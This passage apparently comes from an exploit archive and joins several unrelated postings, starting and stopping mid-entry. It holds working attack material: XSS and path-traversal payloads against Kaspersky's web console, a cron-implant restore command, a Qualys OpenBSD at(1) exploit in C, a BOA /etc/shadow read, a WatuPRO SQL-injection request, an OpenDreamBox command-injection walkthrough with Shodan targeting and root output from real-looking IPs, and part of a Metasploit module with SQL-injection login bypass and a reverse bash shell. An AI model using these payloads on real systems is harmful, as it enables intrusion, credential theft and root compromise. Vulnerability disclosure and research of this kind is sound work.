/opt/kaspersky/kav4fs/bin/kav4fs-control -Q --restore $QUARANTINE_ID
--file /etc/cron.d/implant
-----/

7.3. *Reflected cross-site scripting*

[CVE-2017-9813]: The scriptName parameter of the licenseKeyInfo action
method is vulnerable to cross-site scripting.

/-----
http://<server
IP>:9080/cgi-bin/cgictl?action=licenseKeyInfo&do_action=licenseKeyInfo&scriptName=</script><img+src%3dx+onerror%3d"alert(1)"%3b/>&active=&licenseKey=bla
-----/

7.4. *Path traversal*

[CVE-2017-9812]: The reportId parameter of the getReportStatus action
method can be abused to read arbitrary files with kluser privileges.
The following proof-of-concept reads the /etc/passwd file.

/-----
GET
/cgi-bin/cgictl?action=getReportStatus&reportId=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00
HTTP/1.1
Host: <server IP>:9080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Referer: http://<server IP>:9080/
Cookie: iconsole_test; wmc_useWZRDods=true;
wmc_sid=99E61AFCD3EC96F5E349AB439DAE46C4; wmc_full_stat=1;
wmc_logsSimpleMode=1; wmc_backupSimpleMode=0; wmc_quaSimpleMode=1;
wmc_iconsole_lang=resource_en.js
Connection: close
-----/

8. *Report Timeline*
. 2017-04-03: Core Security sent an initial notification to Kaspersky,
including a draft advisory.
. 2017-04-03: Kaspersky confirmed reception of advisory and informed
they will submit it to the relevant technical team for validation and
replication.
. 2017-04-06: Kaspersky confirmed they could reproduce three out of
five reported vulnerabilities and asked us opinion on their
justifications about mitigating factors on the other two. They also said
they would inform us about a fix date in a few days.
. 2017-04-06: Core Security thanked the confirmation and sent
justification for one of the vulnerabilities questioned. Core Security
agreed on removing one reported vulnerability since it can be mitigated
via a product setting.
. 2017-04-25: Kaspersky confirmed the rest of the vulnerabilities
reported and are working on a fix. They said fixes will be released
"till the June, 30", and also said will inform us the exact dates by
the end of June.
. 2017-04-25: Core Security thanked the confirmation of the final
vulnerabilities list and asked for clarification about the release date.
. 2017-04-25: Kaspersky clarified they will release the fix by June
30th and will let us know the exact date by mid June.
. 2017-06-19: Kaspersky mentioned they would like to go ahead with the
publication on June 30th and also asked for CVEs.
. 2017-06-19: Core Security answer back proposing advisory publication
to be July 3rd in order to avoid advisory publication on a Friday. Also
asked for clarification about a fix dated June 14th found by Core
Security researchers and whether or not it fixes the vulnerabilities
reported.
. 2017-06-21: Kaspersky answered back stating the fix dated June 14th
is related to fixes for reported vulnerabilities.
. 2017-06-21: Core Security asked if the June 14th patch (ID 13738) is
fixing *all* the vulnerabilities reported in the current advisory. If
so Core Security will be releasing the advisory sooner than planned.
Reminded Kaspersky said they would release the fixes by June 30th.
. 2017-06-22: Core Security sent a draft advisory with the final CVE
IDs for each vulnerability.
. 2017-06-23: Kaspersky said they will clarify about patch 13738 ASAP
and also noted about a typo in the advisory's timeline.
. 2017-06-23: Core Security requested again we need clarification
around patch 13738 as soon as possible.
. 2017-06-26: Core Security reviewed the patch released in June 14th
and confirmed it addresses all the vulnerabilities reported. Core
Security informed Kaspersky this advisory will be published as a
FORCED release on Wednesday 28th.
. 2017-06-28: Advisory CORE-2017-0003 published.

9. *References*

[1] https://www.kaspersky.com
[2] https://support.kaspersky.com/linux_file80

10. *About CoreLabs*

CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use
at: http://corelabs.coresecurity.com.

11. *About Core Security*

Courion and Core Security have rebranded the combined company, changing
its name to Core Security, to reflect the company's strong commitment to
providing enterprises with market-leading, threat-aware, identity,
access and vulnerability management solutions that enable actionable
intelligence and context needed to manage security risks across the
enterprise. Core Security's analytics-driven approach to security
enables customers to manage access and identify vulnerabilities, in
order to minimize risks and maintain continuous compliance. Solutions
include Multi-Factor Authentication, Provisioning, Identity Governance
and Administration (IGA), Identity and Access Intelligence (IAI), and
Vulnerability Management (VM). The combination of these solutions
provides context and shared intelligence through analytics, giving
customers a more comprehensive view of their security posture so they
can make more informed, prioritized, and better security remediation
decisions.

Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com.

12. *Disclaimer*

The contents of this advisory are copyright (c) 2017 Core Security
and (c) 2017 CoreLabs, and are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
            
/*
 * OpenBSD_at.c for CVE-2017-1000373
 * Copyright (c) 2017  Qualys, Inc.
 * slowsort() adapted from lib/libc/stdlib/qsort.c:
 *
 * Copyright (c) 1992, 1993
 *      The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

/*
 *  OpenBSD_at.c for CVE-2017-1000372
 *  Copyright (C) 2017  Qualys, Inc.
 *  ttime() adapted from usr.bin/at/at.c:
 *
 *  at.c : Put file into atrun queue
 *  Copyright (C) 1993, 1994  Thomas Koenig
 *
 *  Atrun & Atq modifications
 *  Copyright (C) 1993  David Parsons
 *
 *  Traditional BSD behavior and other significant modifications
 *  Copyright (C) 2002-2003  Todd C. Miller
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. The name of the author(s) may not be used to endorse or promote
 *    products derived from this software without specific prior written
 *    permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#include <ctype.h>
#include <dirent.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

static const char *
u64tostr(uint64_t u64)
{
    static char str[64];
    char * cp = str + sizeof(str);
    *--cp = '\0';
    do {
        if (cp <= str) _exit(__LINE__);
        *--cp = '0' + (u64 % 10);
    } while (u64 /= 10);
    return cp;
}

#define die() do { \
    const char * const str = u64tostr(__LINE__); \
    const size_t len = strlen(str); \
    write(STDERR_FILENO, "\n[", 2); \
    write(STDERR_FILENO, str, len); \
    write(STDERR_FILENO, "]\n", 2); \
    _exit(EXIT_FAILURE); \
} while (0)

static __inline char    *med3(char *, char *, char *, int (*)(const void *, const void *));
static __inline void     swapfunc(char *, char *, size_t, int);

/*
 * Qsort routine from Bentley & McIlroy's "Engineering a Sort Function".
 */
#define swapcode(TYPE, parmi, parmj, n) {               \
        size_t i = (n) / sizeof (TYPE);                 \
        TYPE *pi = (TYPE *) (parmi);                    \
        TYPE *pj = (TYPE *) (parmj);                    \
        do {                                            \
                TYPE    t = *pi;                        \
                *pi++ = *pj;                            \
                *pj++ = t;                              \
        } while (--i > 0);                              \
}

#define SWAPINIT(a, es) swaptype = ((char *)a - (char *)0) % sizeof(long) || \
        es % sizeof(long) ? 2 : es == sizeof(long)? 0 : 1;

static __inline void
swapfunc(char *a, char *b, size_t n, int swaptype)
{
        if (swaptype <= 1)
                swapcode(long, a, b, n)
        else
                swapcode(char, a, b, n)
}

#define swap(a, b)                                      \
        if (swaptype == 0) {                            \
                long t = *(long *)(a);                  \
                *(long *)(a) = *(long *)(b);            \
                *(long *)(b) = t;                       \
        } else                                          \
                swapfunc(a, b, es, swaptype)

#define vecswap(a, b, n)        if ((n) > 0) swapfunc(a, b, n, swaptype)

static __inline char *
med3(char *a, char *b, char *c, int (*cmp)(const void *, const void *))
{
        return cmp(a, b) < 0 ?
               (cmp(b, c) < 0 ? b : (cmp(a, c) < 0 ? c : a ))
              :(cmp(b, c) > 0 ? b : (cmp(a, c) < 0 ? a : c ));
}

typedef struct {
        size_t idx;
        size_t key;
} slowsort_t;

static __inline void
set_key(void * const _pss, const size_t key)
{
        slowsort_t * const pss = _pss;
        if (!pss) die();
        if (!key) die();
        if (pss->key) die();
        pss->key = key;
}

#define RESET_KEY SIZE_MAX

static void
slowsort(void *aa, size_t n, size_t es, int (*cmp)(const void *, const void *), const size_t stack_size)
{
        if (!aa) die();
        if (n <= 0) die();
        if (n >= SSIZE_MAX) die();
        if (es <= 0) die();
        if (es >= SSIZE_MAX) die();
        if (!cmp) die();

        #define SET_KEYS 4
        #define STACK_FRAME_SIZE 176
        const size_t pathological = stack_size / STACK_FRAME_SIZE * SET_KEYS;
        if (n < pathological) die();
        size_t innocuous = n - pathological;

        char *pa, *pb, *pc, *pd, *pl, *pm, *pn;
        int cmp_result, swaptype;
        size_t d, r;
        char *a = aa;

loop:   SWAPINIT(a, es);
        if (innocuous) {
            if (n <= innocuous) die();
            if (n - innocuous <= SET_KEYS) die();
            if (n <= 40) die();
        }
        if (n < 7) {
                for (pm = a; pm < a + n * es; pm += es) {
                        set_key(pm, 1 + (pm - a) / es);
                }
                for (pm = (char *)a + es; pm < (char *) a + n * es; pm += es)
                        for (pl = pm; pl > (char *) a && cmp(pl - es, pl) > 0;
                             pl -= es)
                                swap(pl, pl - es);
                return;
        }
        pm = (char *)a + (n / 2) * es;
        size_t set_keys = 0;
        if (n > 7) {
                pl = (char *)a;
                pn = (char *)a + (n - 1) * es;
                if (n > 40) {
                        d = (n / 8) * es;
                        if (innocuous) {
                            set_key(pl, RESET_KEY);
                            set_key(pl + d, RESET_KEY);
                            set_key(pl + 2 * d, RESET_KEY);
                        }
                        pl = med3(pl, pl + d, pl + 2 * d, cmp);
                        if (innocuous) set_key(pm - d, RESET_KEY);
                        set_key(pm + 0, n - innocuous - 3);
                        set_key(pm + d, n - innocuous - 2);
                        pm = med3(pm - d, pm, pm + d, cmp);
                        if (innocuous) set_key(pn - 2 * d, RESET_KEY);
                        set_key(pn - d, n - innocuous - 1);
                        set_key(pn - 0, n - innocuous - 0);
                        pn = med3(pn - 2 * d, pn - d, pn, cmp);
                        set_keys = SET_KEYS;
                } else {
                        set_key(pm, n - 1);
                        set_key(pn, n - 0);
                        set_keys = 2;
                }
                pm = med3(pl, pm, pn, cmp);
        } else {
                set_key(pm, n - 0);
                set_keys = 1;
        }
        if (!set_keys) die();
        swap(a, pm);
        if (innocuous) {
            if (a != aa) die();
            slowsort_t * pss = aa;
          {
            const size_t key = pss->key;
            if (!key) die();
            if (n <= 40) die();
            if (set_keys != SET_KEYS) die();
            if (key != n - innocuous - set_keys + 1) die();
          }
            const slowsort_t * const end = pss + n;
            size_t i = 0;
            for (;; pss++) {
                if (pss >= end) {
                    if (i != innocuous) die();
                    break;
                }
                if (!pss->key) {
                    if (i < innocuous) {
                        set_key(pss, n - i++);
                        set_keys++;
                    }
                } else if (pss->key == RESET_KEY) {
                    pss->key = 0;
                } else {
                    if (pss->key > n - innocuous) die();
                }
            }
        }
        pa = pb = (char *)a + es;
        pc = pd = (char *)a + (n - 1) * es;
        for (;;) {
                while (pb <= pc && (cmp_result = cmp(pb, a)) <= 0) {
                        if (cmp_result == 0) {
                                swap(pa, pb);
                                pa += es;
                        }
                        pb += es;
                }
                while (pb <= pc && (cmp_result = cmp(pc, a)) >= 0) {
                        if (cmp_result == 0) {
                                swap(pc, pd);
                                pd -= es;
                        }
                        pc -= es;
                }
                if (pb > pc)
                        break;
                swap(pb, pc);
                pb += es;
                pc -= es;
        }

        pn = (char *)a + n * es;
        r = MIN(pa - (char *)a, pb - pa);
        vecswap(a, pb - r, r);
        r = MIN(pd - pc, pn - pd - (ssize_t)es);
        vecswap(pb, pn - r, r);

        if ((pb - pa) / es != n - set_keys) die();
        if ((pd - pc) / es != set_keys - 1) die();

        if ((r = pb - pa) > es) {
                n = r / es;
                innocuous = 0;
                goto loop;
        }
        die();
}

static int
cmp_key(const void * const a, const void * const b)
{
        const size_t __a_key = ((const slowsort_t *)a)->key;
        const size_t __b_key = ((const slowsort_t *)b)->key;
        const size_t a_key = __a_key != RESET_KEY ? __a_key : 0;
        const size_t b_key = __b_key != RESET_KEY ? __b_key : 0;
        if (a_key < b_key) return -1;
        if (a_key > b_key) return +1;
        return 0;
}

#define    ATOI2(s)    ((s) += 2, ((s)[-2] - '0') * 10 + ((s)[-1] - '0'))

/*
 * Adapted from date(1)
 */
static time_t
ttime(char *arg)
{
    time_t now, then;
    struct tm *lt;
    int yearset;
    char *dot, *p;

    if (time(&now) == (time_t)-1 || (lt = localtime(&now)) == NULL)
        die();

    /* Valid date format is [[CC]YY]MMDDhhmm[.SS] */
    for (p = arg, dot = NULL; *p != '\0'; p++) {
        if (*p == '.' && dot == NULL)
            dot = p;
        else if (!isdigit((unsigned char)*p))
            goto terr;
    }
    if (dot == NULL)
        lt->tm_sec = 0;
    else {
        *dot++ = '\0';
        if (strlen(dot) != 2)
            goto terr;
        lt->tm_sec = ATOI2(dot);
        if (lt->tm_sec > 61)    /* could be leap second */
            goto terr;
    }

    yearset = 0;
    switch(strlen(arg)) {
    case 12:            /* CCYYMMDDhhmm */
        lt->tm_year = ATOI2(arg) * 100;
        lt->tm_year -= 1900;    /* Convert to Unix time */
        yearset = 1;
        /* FALLTHROUGH */
    case 10:            /* YYMMDDhhmm */
        if (yearset) {
            yearset = ATOI2(arg);
            lt->tm_year += yearset;
        } else {
            yearset = ATOI2(arg);
            /* POSIX logic: [00,68]=>20xx, [69,99]=>19xx */
            lt->tm_year = yearset;
            if (yearset < 69)
                lt->tm_year += 100;
        }
        /* FALLTHROUGH */
    case 8:                /* MMDDhhmm */
        lt->tm_mon = ATOI2(arg);
        if (lt->tm_mon > 12 || lt->tm_mon == 0)
            goto terr;
        --lt->tm_mon;        /* Convert from 01-12 to 00-11 */
        lt->tm_mday = ATOI2(arg);
        if (lt->tm_mday > 31 || lt->tm_mday == 0)
            goto terr;
        lt->tm_hour = ATOI2(arg);
        if (lt->tm_hour > 23)
            goto terr;
        lt->tm_min = ATOI2(arg);
        if (lt->tm_min > 59)
            goto terr;
        break;
    default:
        goto terr;
    }

    lt->tm_isdst = -1;        /* mktime will deduce DST. */
    then = mktime(lt);
    if (then == (time_t)-1) {
    terr:
        die();
    }
    if (then < now)
        die();
    return (then);
}

static bool reading_jobs;

void *
reallocarray(void * const ptr, const size_t nmemb, const size_t size)
{
    static void * (* real_reallocarray)(void *ptr, size_t nmemb, size_t size);
    if (!real_reallocarray) {
        real_reallocarray = dlsym(RTLD_NEXT, "reallocarray");
        if (!real_reallocarray) die();
    }
    if (ptr == NULL && nmemb == 2 + 4 && size == sizeof(struct atjob *)) {
        if (reading_jobs) die();
        reading_jobs = true;
    }
    void * const new_ptr = real_reallocarray(ptr, nmemb, size);
    if (!new_ptr) die();
    return new_ptr;
}

#define NUMJOBS (40<<20)

static const size_t *
get_jobkeys(void)
{
    const size_t n = NUMJOBS;
    slowsort_t * const a = calloc(n, sizeof(slowsort_t));
    write(STDERR_FILENO, "initializing jobkeys\n", 21);
    if (!a) die();
    size_t i;
    for (i = 0; i < n; i++) {
        a[i].idx = i;
    }
    slowsort(a, n, sizeof(slowsort_t), cmp_key, 33<<20);
    size_t * const jobkeys = calloc(n, sizeof(*jobkeys));
    write(STDERR_FILENO, "finalizing jobkeys\n", 19);
    if (!jobkeys) die();
    for (i = 0; i < n; i++) {
        const size_t j = a[i].idx;
        const size_t k = a[i].key;
        if (j >= n) die();
        if (k <= 0) die();
        if (k > n) die();
        if (jobkeys[j]) die();
        jobkeys[j] = k;
    }
    free(a);
    return jobkeys;
}

static struct dirent dirent;

struct dirent *
readdir(DIR * const dirp)
{
    static struct dirent * (* real_readdir)(DIR *dirp);
    if (!real_readdir) {
        real_readdir = dlsym(RTLD_NEXT, "readdir");
        if (!real_readdir) die();
    }
    if (!reading_jobs) {
        return real_readdir(dirp);
    }
    static size_t numjobs;
    if (numjobs >= NUMJOBS) {
        write(STDERR_FILENO, "sorting jobs\n", 13);
        return NULL;
    }
    static char arg[32];
    char * cp = arg + sizeof(arg);
    *--cp = '\0';
  {
    static const struct {
        uint32_t min;
        uint32_t max;
    } units[] = {
        { 0, 59 }, /* Second */
        { 0, 59 }, /* Minute */
        { 0, 23 }, /* Hour */
        { 1, 28 }, /* Day */
        { 1, 12 }, /* Month */
        { 2038, 2099 } /* Year */
    };
    static const size_t * jobkeys;
    if (!jobkeys) {
        jobkeys = get_jobkeys();
        if (!jobkeys) die();
        write(STDERR_FILENO, "reading jobs\n", 13);
    }
    uint32_t timer = jobkeys[numjobs++];
    if (timer > NUMJOBS) die();
    if (timer <= 0) die();
    static size_t percent = 10;
    if (numjobs == NUMJOBS / 100 * percent) {
        const char * const str = u64tostr(percent);
        const size_t len = strlen(str);
        write(STDERR_FILENO, str, len);
        write(STDERR_FILENO, "%\n", 2);
        percent += 10;
    }
    size_t i;
    for (i = 0; i < sizeof(units)/sizeof(*units); i++) {
        const uint32_t min = units[i].min;
        const uint32_t max = units[i].max;
        const uint32_t div = max - min + 1;
        const uint32_t u32 = min + timer % div;
        timer /= div;
        if (u32 < min) die();
        if (u32 > max) die();
        const char * const str = u64tostr(u32);
        const size_t len = strlen(str);
        if (cp <= arg) die();
        if (cp - arg < (ssize_t)len) die();
        cp -= len;
        memcpy(cp, str, len);
        if (len < 2) {
            if (cp <= arg) die();
            *--cp = '0';
        }
        if (!i) {
            if (cp <= arg) die();
            *--cp = '.';
        }
    }
    if (timer) die();
  }
    if (strlen(cp) != 15) die();
    const uint64_t timer = ttime(cp);
    strlcpy(dirent.d_name, u64tostr(timer), sizeof(dirent.d_name));
    strlcat(dirent.d_name, ".x", sizeof(dirent.d_name));
    return &dirent;
}

int
fstatat(const int fd, const char * const path, struct stat * const sb, const int flag)
{
    static int (* real_fstatat)(int fd, const char *path, struct stat *sb, int flag);
    if (!real_fstatat) {
        real_fstatat = dlsym(RTLD_NEXT, "fstatat");
        if (!real_fstatat) die();
    }
    if (!reading_jobs || flag != AT_SYMLINK_NOFOLLOW || strcmp(path, dirent.d_name) != 0) {
        return real_fstatat(fd, path, sb, flag);
    }
    memset(sb, 0, sizeof(*sb));
    sb->st_mode = S_IFREG | S_IRUSR | S_IWUSR;
    static uid_t user_uid;
    if (!user_uid) {
        user_uid = getuid();
        if (!user_uid) die();
    }
    sb->st_uid = user_uid;
    return 0;
}
            
Source: http://bugzilla.maptools.org/show_bug.cgi?id=2706

Triggered by “./tiff2ps $POC” or “./tiff2pdf $POC”

Triggered by “./tiff2ps $POC” or “./tiff2pdf $POC”

The asan debug information is below:

$./tiff2ps $POC  


=================================================================
==26627==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 1792 byte(s) in 7 object(s) allocated from:
    #0 0x7f7c4f1a19aa in malloc
(/usr/lib/x86_64-linux-gnu/libasan.so.2+0x989aa)
    #1 0x7f7c4dca72fd  (/usr/lib/x86_64-linux-gnu/libjbig.so.0+0x12fd)
    #2 0x3ea  (<unknown module>)

Indirect leak of 170491316224 byte(s) in 223 object(s) allocated from:
    #0 0x7f7c4f1a19aa in malloc
(/usr/lib/x86_64-linux-gnu/libasan.so.2+0x989aa)
    #1 0x7f7c4dca72fd  (/usr/lib/x86_64-linux-gnu/libjbig.so.0+0x12fd)
    #2 0x3ea  (<unknown module>)

SUMMARY: AddressSanitizer: 170491318016 byte(s) leaked in 230 allocation(s).


Affected version:
<=the Latest version (4.0.8)


Credits:

This vulnerability is detected by team OWL337, with our custom fuzzer coll AFL.
Please contact ganshuitao@gmail.com  and chaoz@tsinghua.edu.cn if you need more
info about the team, the tool or the vulnerability.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42300.zip
            
BOA Web Server 0.94.14 - Access to arbitrary files as privileges

Title: Vulnerability in BOA Webserver 0.94.14
Date: 20-06-2017
Status: Vendor contacted, patch available
Scope: Arbitrary file access
Platforms: Unix
Author: Miguel Mendez Z
Vendor Homepage: http://www.boa.org
Version: Boa Webserver 0.94.14rc21
CVE: CVE-2017-9833


Vulnerability description
-------------------------
-We can read any file located on the server
The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges. Without using access credentials

Vulnerable variable:
FILECAMERA=../../etc/shadow%00

Exploit link:
/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/shadow%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0

Poc:
http://127.0.0.1/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/shadow%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0
            
#####################################
Exploit Title: SQL Injection In WatuPRO (WordPress Plugin to Create Exams, Tests and Quizzes)
Exploit Author: Manich  Koomsusi
Date: 03-07-2017
Software: WatuPRO
Version: 5.5.1
Website: http://calendarscripts.info/watupro/
Tested on: WordPress 4.7.5
Software Link: https://1drv.ms/u/s!AhfkvGaDTn1bmgHSj9u_jQX8iME0
CVE: CVE-2017-9834
#####################################

Description
==================================
SQL Injection in WatuPRO WordPress Plugin for create exams, Tests and Quizzes allow the attacker dump the database contents.

Vulnerability
==================================
This plugin sending quizzes to the server with “watupro_questions” parameter not sanitize before take SQL statement.

Proof of concept
==================================
Take exams or quizzes and submit to the server in POST method

Payload : “1:1,2) AND 4761=IF((41=41),SLEEP(5),4761) AND (4547=4547”    the server delay response time around ~5 second.
Payload : “1:1,2) AND 4761=IF((41=41),SLEEP(0),4761) AND (4547=4547”    the server not delay response time.

############
POST /pt/wordpress/wp-admin/admin-ajax.php HTTP/1.1
Content-Length: 292
Accept-Language: en-US,en;q=0.5
Host: 192.168.5.189
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
DNT: 1
Connection: close
X-Requested-With: XMLHttpRequest
Referer: http://192.168.5.189/pt/wordpress/
Cookie: wordpress_155e4542aeb2c66021dab6903e684bdb=admin%7C1497811093%7CaY85tN6gH7x8iYCzPETIcEJYYyn6tZlzJnbhTZLgZYX%7C475cf68a551a0db99cd991e958fc949bfe8f2a833bf39d0534ce25d29c11a9b8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_155e4542aeb2c66021dab6903e684bdb=admin%7C1497811093%7CaY85tN6gH7x8iYCzPETIcEJYYyn6tZlzJnbhTZLgZYX%7C61ef1ea8c998118da9dd01d5f650dc0806f8bfbb1d5f28fdbb626f062bcebbcd; wp-settings-time-1=1497748191; PHPSESSID=rh7v9qt9ibdlioth3cecr5gg94
Content-Type: application/x-www-form-urlencoded
action=watupro_submit&quiz_id=1&question_id%5B%5D=1&watupro_questions=1:1,2)%20AND%204761%3dIF((41%3d41),SLEEP(5),4761)%20AND%20(4547%3d4547&post_id=5&answer-1%5B%5D=1&question_1_hints=&taker_email=hacker%40admin.com<http://40admin.com>&h_app_id=0.24749700+1497748201&start_time=2017-06-18+01%3A10%3A01&in_ajax=1
#############


Mitigations
==================================
Upgrade to version 5.5.3.7 or later.

Timeline
==================================
2017-06-19: Discovered the bug
2017-06-19: Reported to vendor
2017-06-19: First response from vendor saying software it fixed. But the vendor fix not properly
2017-06-20: Version 5.5.3.7 released “Fixed issue with input validate.”
2017-07-03: Advisory published

Discovered By:
=====================
Manich  Koomsusi
            
# Exploit Title: OpenDreamBox 2.0.0 - Plugin WebAdmin RCE
# Shodan Dork: "DreamBox" 200 ok"
# Date: 07/03/17
# Exploit Author: Jonatas Fil
# Vendor Homepage: https://www.dreamboxupdate.com
# Software Link: https://www.dreamboxupdate.com/opendreambox/2.0.0
# Version: 2.0.0

Vulnerabilty: Remote Command Execution via Command injection in Plugin
WebAdmin.
Tools: https://github.com/ninj4c0d3r/ShodanCli
----------------------------------------------------------------------------------------------------
p0c:

- First, Search in Shodan: "DreamBox" 200 ok.

(https://github.com/ninj4c0d3r/ShodanCli - My tool for search (need api) or
https://www.shodan.io)

- After, open the target and go to "Extra", wait a moment...

- In plugins, if WebAdmin Plugin is installed [VULNERABLE]:

Exploit : http://target.com:100000/webadmin/script?command=|YOUR_COMMAND

-----------------------------------------------------------------------------------------------------
Examples:

http://212.13.x.129:8081/webadmin/script?command=|uname -a : Linux dm7020hd 3.2-dm7020hd #1 SMP Sun Jun 21 15:26:04 CEST 2015 mips GNU/Linux
http://80.x.24.154:8880/webadmin/script?command=|id : uid=0(root) gid=0(root)
http://62.224.234.x:8081/webadmin/script?command=|pwd : /home/root
http://x.19.12.146:10000/webadmin/script?command=|cat /etc/issue : opendreambox 2.0.0 \n \l
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "GoAutoDial 3.3 Authentication Bypass / Command Injection",
      'Description'    => %q{
          This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chris McCurley',  # Discovery & Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2015-2843'],
          ['CVE', '2015-2845']
        ],
      'Platform'       => %w{unix},
      'Arch'            => ARCH_CMD,
      'Targets'        => [ ['Automatic', {} ] ],
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'DisclosureDate' => 'Apr 21 2015'))

    register_options(
      [
        OptPort.new('RPORT', [true, 'The target port', 443]),
        OptBool.new('SSL', [false, 'Use SSL', true]),
        OptString.new('TARGETURI', [true, 'The base path', '/'])
      ])
  end


  def check
    res = check_version()
    if res and res.body =~ /1421902800/
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Vulnerable
    end
  end

  def check_version()
    uri = target_uri.path

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(uri, 'changelog.txt'),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity'
      }
    })
  end

  def sqli_auth_bypass()
    uri = target_uri.path

    send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity'
      },
      'vars_post' => {
        'user_name'   => 'admin',
        'user_pass'   => '\'%20or%20\'1\'%3D\'1'
      }
    })
  end

  def sqli_admin_pass(cookies)
